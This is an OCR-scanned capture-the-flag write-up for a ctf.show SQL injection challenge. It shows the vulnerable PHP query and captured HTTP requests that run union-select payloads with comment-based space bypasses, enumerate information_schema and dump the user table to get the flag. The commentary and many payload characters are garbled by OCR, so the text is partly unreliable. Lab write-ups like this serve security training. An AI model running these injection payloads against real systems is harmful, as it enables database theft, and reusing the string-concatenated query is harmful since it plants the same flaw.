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$sql = "select username,password from user where username !='flag' and id = '".$ GET['id']."' limit 1;";

BFID  id &if

ID RAFa& 4 2]
1 admin admin
2 useri 111
3 user2 222
4 userAUTO passwordAUTO
5 userAUTO passwordAUTO
6 userAUTO passwordAUTO
7 userAUTO passwordAUTO
8 userAUTO passwordAUTO
9 userAUTO passwordAUTO
10 userAUTO passwordAUTO
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25 AN2EW, KIMHIHIDN2HFER, Eurlfhigd HEEA R
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$sql = "select username,password from user where username !='flag' and id = '".§$_GET['id']."' limit 1;";
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UE 1 A mE H1E 108/A v

CTFshowtH & © 2020 ctf.show



3. HbpfME A ITEA S

%£it Raw  Hex X5 \n =

GET /api/?id=2&page=1&limit=10
HTTP/1.1
Host:

cl0a0lc3-Uf2a-Ue22-a336-cfdefe
45e784.challenge.ctf.show

Sec—Ch-Ua: "Chromium";v="127",
"Not)A;Brand" ; v="99"

Accept: application/json,

text/javascript, */*; =0.01

X—-Requested-With:

XMLHttpRequest

ARRENE R as, & FORAIEARIEELELT, SBideSEHn
FAREA, HR#S515MHME

BR e R

%4t Raw Hex WS \n = | £ Raw Hex HEERE

1 GET /api/?id=2"lgpage=1&limit=10 HTTP/1.1 HTTP/1.1 200 OK

2 Host: 2 Server: nginx/1.20.1
cl0a0lc3-u4f2a-Ue22-a336-cfdefed5e78U.challenge. Date: Fri, 28 Nov 2025 09:32:51 GMT
ctf.show Content-Type: text/html; charset=UTF-8

3 Sec-Ch-Ua: "Chromium";v="127", Connection: keep-alive
"Not)A;Brand";v="99" 5 X—Powered-By: PHP/7.3.11
Accept: application/json, text/javascript, =*/*; Access—-Control-Allow-Methods:
q=0.01 GET,POST, PUT,DELETE, OPTIONS
X-Requested-With: XMLHttpRequest 8 Access-Control-Allow-Credentials: true

5 Accept-Language: en-US 9 Access-Control-Expose-Headers:
Sec-Ch-Ua-Mobile: 70 Content-Type, Cookies,Aaa,Date, Server,Content-Le
User-Agent: Mozilla/5.0 (Windows NT 10.0; ngth,Connection
Winéd; x64) ApplellebKit/537.36 (KHTML, like Access-Control-Allow-Headers:
Gecko) Chrome/127.0.6533.100 Safari/537.36 DNT,X-CustomHeader, Keep-Alive, User-Agent, X-Requ

9 Sec-Ch-Ua-Platform: "Linux" ested-With, If-Modified-Since, Cache-Control, Cont
Sec-Fetch-Site: same-origin ent-Type,Authorization, x—auth-token,Cookies, Aaa
Sec-Fetch-Mode: cors ,Date, Server, Content-Length, Connection
Sec-Fetch-Dest: empty 11 Access—Control-Max—-Age: 1728000

3 Referer: 12 Content-Length: 169
https://c10aBlc3-Uf2a-lUe22-a336-cfdefel5e78U.ch 13
allenge.ctf.show/ {"code":0,"msg": "\u67e5\u8be2\u6210\u529f", "cou
Accept-Encoding: gzip, deflate, br nt":1,"data":[{"id":"2", "username": "userl", "pas
Priority: u=1, i sword":"111"}]1}




SEFREBEITENAEM AT LR, B2 TRE), LKIMIERK
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GET /api/?id=1'order by

&
Ex

1

2

4-—+&page=1&Limit=10 HTTP/1.1

Host:
cl0aflc3-Uf2a-Ue22-a336-cfdefeld5e78U.challenge.
ctf.show

Sec—Ch-Ua: "Chromium";v="127",
"Not)A;Brand";v="99"

Accept: application/json, text/javascript, */*;
q=0.01

X-Requested-With: XMLHttpRequest
Accept-Language: en-US

Sec-Ch-Ua-Mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win6d; x64) ApplelWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.6533.100 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"

Sec-Fetch-Site: same-origin
Sec—Fetch-Mode:
Sec-Fetch-Dest:
Referer:

https://c10a@lc3-Uf2a-Le22-a336-cfdefel5e78U.ch

cors
empty

R

Hex ®E n =

GET /api/?id=1'order/#*/by/**/1-—+&page=1&limit

=10 HTTP/1.1

Host:
cl0aflc3-Uf2a-te22-a336-cfdefeld5e784.challenge.
ctf.show

Sec-Ch-Ua: "Chromium";v="127",
"Not)A;Brand";v="99"

Accept: application/json, text/javascript, */*;
q=0.01

X-Requested-With: XMLHttpRequest
Accept-Language: en-US

Sec-Ch-Ua-Mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, Llike
Gecko) Chrome/127.0.6533.100 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"

Raw

3 Sec-Fetch-Site: same-origin

6.

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer:
https://c10a®@lc3-Uf2a-Ue22-a336-cfdefeld5e784.ch
allenge.ctf.show/

Accept-Encoding: gzip, deflate, br

EERE, KIHAAT LA

€ u ES

1 HTTP/1.1 400 Bad Request

2 Server: nginx/1.20.1

3 Date: Fri, 28 Nov 2025 09:35:26 GMT

4 Content-Type: text/plain; charset=utf-8

5 Connection: keep-alive

6 Access—Control-Allow-Methods:
GET,POST,PUT, DELETE, OPTIONS

7 Access—Control-Allow-Credentials:

8 Access—Control-Allow-Headers:

true

DNT,X-CustomHeader, Keep-Alive, User-Agent, X-Requ
ested-With,If-Modified-Since,Cache-Control, Cont
ent-Type,Authorization, x—auth-token,Cookies, Aaa

,Date,Server,Content-Length,Connection
9 Access—-Control-Max—Age: 1728000
16 Content-Length: 15
11
12 400 Bad Request

Lolivi

E3d Bl

HTTP/1.1 200 OK
Server: nginx/1.20.1

3 Date: Fri, 28 Nov 2025 09:38:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

5 X—Powered-By: PHP/7.3.11
Access—Control-Allow-Methods:
GET,POST, PUT,DELETE, OPTIONS
Access—Control-Allow-Credentials:

Raw  Hex

true

9 Access-Control-Expose-Headers:

Content-Type, Cookies, Aaa,Date, Server,Content-Le
ngth,Connection

Access—Control-Allow-Headers:
DNT,X-CustomHeader, Keep—Alive, User-Agent, X-Requ
ested-With, If-Modified-Since,Cache-Control, Cont
ent-Type,Authorization,x—auth-token,Cookies, Aaa
,Date,Server,Content-Length,Connection
Access—Control-Max-Age: 1728000

Content-Length: 111

{"code":0,"msg" : "\u67e5\u8be2\u6210\u529f", "cou
nt":1,"data":[{"id":"1", "username":"admin", "pas

sword":"admin"}]}




BR % R

*it Raw  Hex ® S N = | £ Raw Hex &M@

1 GET /api/?id=1'union/#*/select/*%/1,2,3-—+&page | 1 HTTP/1.1 200 OK
=1&Llimit=10 HTTP/1.1 2 Server: nginx/1.20.1

2 Host: 3 Date: Fri, 28 Nov 2025 09:39:53 GMT
cl1@a@lc3-Uf2a-Ue22-a336-cfdefeld5e78U. challenge. 4 Content-Type: text/html; charset=UTF-8
ctf.show 5 Connection: keep-alive
Sec—Ch-Ua: "Chromium";v="127", 6 X—-Powered-By: PHP/7.3.11
"Not)A;Brand";v="99" 7 Access—Control-Allow-Methods:

Accept: application/json, text/javascript, */*; GET,POST, PUT, DELETE, OPTIONS
q=0.01 8 Access—Control-Allow-Credentials: true
X-Requested-With: XMLHttpRequest 9 Access—Control-Expose-Headers:

5 Accept-Language: en-US Content-Type, Cookies,Aaa,Date, Server,Content-Le

Sec-Ch-Ua-Mobile: 70 ngth,Connection

User-Agent: Mozilla/5.0 (Windows NT 10.0; Access—Control-Allow-Headers:

Win6d; x64) AppleWebKit/537.36 (KHTML, like DNT, X—CustomHeader,Keep—-Alive, User—Agent, X-Requ

Gecko) Chrome/127.0.6533.100 Safari/537.36 ested-With, If-Modified-Since, Cache-Control, Cont

Sec-Ch-Ua-Platform: "Linux" ent-Type, Authorization, x-auth-token,Cookies, Aaa
) Sec-Fetch-Site: same-origin ,Date,Server, Content-Length, Connection

Sec-Fetch-Mode: cors 11 Access—Control-Max-Age: 1728000

Sec-Fetch-Dest: empty Content-Length: 152

Referer:

https://c10a®lc3-Uf2a-Ue22-a336-cfdefeld5e78U.ch {"code":0,"msg" : "\u67e5\u8be2\u6210\u529f", "cou

allenge.ctf.show/ nt":1,"data":[{"id":"1", "username":"admin", "pas

Accept-Encoding: gzip, deflate, br sword": "admin"}, {"id":"1", "username":"2" "passw

Priority: u=1l, i ord":"3"}]}

Connection: keep-alive

7% MRAN 2R T, BESAEBIREMARRE, KA

Mctfshow_userss

A 0 R

#iE  Raw  Hex R HE N = | £t Raw Hex FAEHEE

1 GET /api/?id= HTTP/1.1 200 OK
1'union/**/select/**/1,2 group_concat(table_nam | 2 Server: nginx/1.20.1
e)from/**/information_schema.tables/**/where/x* 3 Date: Fri, 28 Nov 2025 09:42:33 GMT
/database()=table_schemal-—+&page=1&Llimit=10 Content-Type: text/html; charset=UTF-8
HTTP/1.1 Connection: keep-alive
Host: 5 X—Powered-By: PHP/7.3.11
clPa@lc3-4f2a-Ue22-a336-cfdefeld5e78U.challenge. Access—Control-Allow-Methods:
ctf.show GET, POST,PUT, DELETE, OPTIONS
Sec—Ch-Ua: "Chromium";v="127", Access—Control-Allow-Credentials: true
"Not)A;Brand";v="99" 9 Access-Control-Expose-Headers:

Accept: application/json, text/javascript, */x; Content-Type,Cookies, Aaa,Date, Server,Content-Le
q=0.01 ngth,Connection
X-Requested-With: XMLHttpRequest Access—Control-Allow-Headers:

5 Accept-Language: en-US DNT, X-CustomHeader, Keep—Alive, User-Agent, X-Requ
Sec-Ch-Ua-Mobile: 70 ested-With, If-Modified-Since, Cache-Control, Cont
User—Agent: Mozilla/5.0 (Windows NT 10.0; ent-Type,Authorization, x—auth—token,Cookies, Aaa
Win6d; x6uU) AppleWebKit/537.36 (KHTML, like ,Date, Server, Content-Length, Connection
Gecko) Chrome/127.0.6533.100 Safari/537.36 Access—Control-Max-Age: 1728000
Sec-Ch-Ua-Platform: "Linux" Content-Length: 163
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors {"code":0,"msg" : "\u67e5\u8be2\u6210\u529f", "cou
Sec—Fetch-Dest: empty nt": data":[{"id":"1", "username":"admin", "pas
Referer: SWor "admin"}, {"id" ,"username”:
https://cl0a0lc3-Uf2a-Ue22-a336-cfdefel5e78U.ch ord":"ctfshow_user"}]}
allenge.ctf.show/

8. & Fctfshow_user®Hl , O 7D A ENER, lpayloadix
AT 1 SON-1, 1 XHEER R A= 1)

KX EAE R, girZingttr, =F55l0id,

username, password
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Raw  Hex \, \n
GET /api/?id=

1'union/**/select/**/1,2 group_concat(column_na
me)from/*x/information_schema.columns/**/where/
**/database()=table_schema—-+&page=1&1limit=10
HTTP/1.1

Host:
clPaflc3-uUf2a-Ue22-a336-cfdefeld5e78U.challenge.
ctf.show

3 Sec—Ch-Ua: "Chromium";v="127",
"Not)A;Brand" ;v="99"
Accept: application/json, text/javascript, */*;

q=0.01
X-Requested-With: XMLHttpRequest

5 Accept-Language: en-US

Sec—-Ch-Ua-Mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win6d; x6U4) ApplelWlebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.6533.100 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

) Sec-Fetch-Dest: empty
3 Referer:

9.

https://cl0a®lc3-Uf2a-Ue22-a336-cfdefeld5e78U.ch
epge ou

i JGpayload:

Lol
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HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 28 Nov 2025 09:51:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Access—Control-Allow-Methods:
GET,POST,PUT, DELETE, OPTIONS
Access—Control-Allow-Credentials:
Access—Control-Expose-Headers:
Content-Type, Cookies, Aaa,Date, Server,Content-Le
ngth,Connection

Access—Control-Allow-Headers:
DNT,X-CustomHeader, Keep—Alive, User—Agent, X-Requ
ested-With, If-Modified-Since,Cache-Control, Cont
ent-Type,Authorization,x-auth-token,Cookies, Aaa
,Date,Server, Content-Length, Connection
Access—Control-Max-Age: 1728000

Content-Length: 171

Raw  Hex

true

{"code":0,"msg" : "\u67e5\u8be2\u6210\u529f"  "cou
nt":1,"data":[{"id":"1", "username":"admin", "pas
sword":"admin"}, {"id":"1", "username":"2", "passw
ord":"id,username,password|'}]}

1'union/**/select/**/1,2,group_concat(id,username,password)f

rom/**/ctfshow_user--+

BERIINE, 152flag

3userAUTOpasswordAUTO, 2duserAUTOpasswordAUTO, 26
flagctfshow{bc541c8b-U0ff-Ude9-95a4-226e9U37cfc

61"}1}




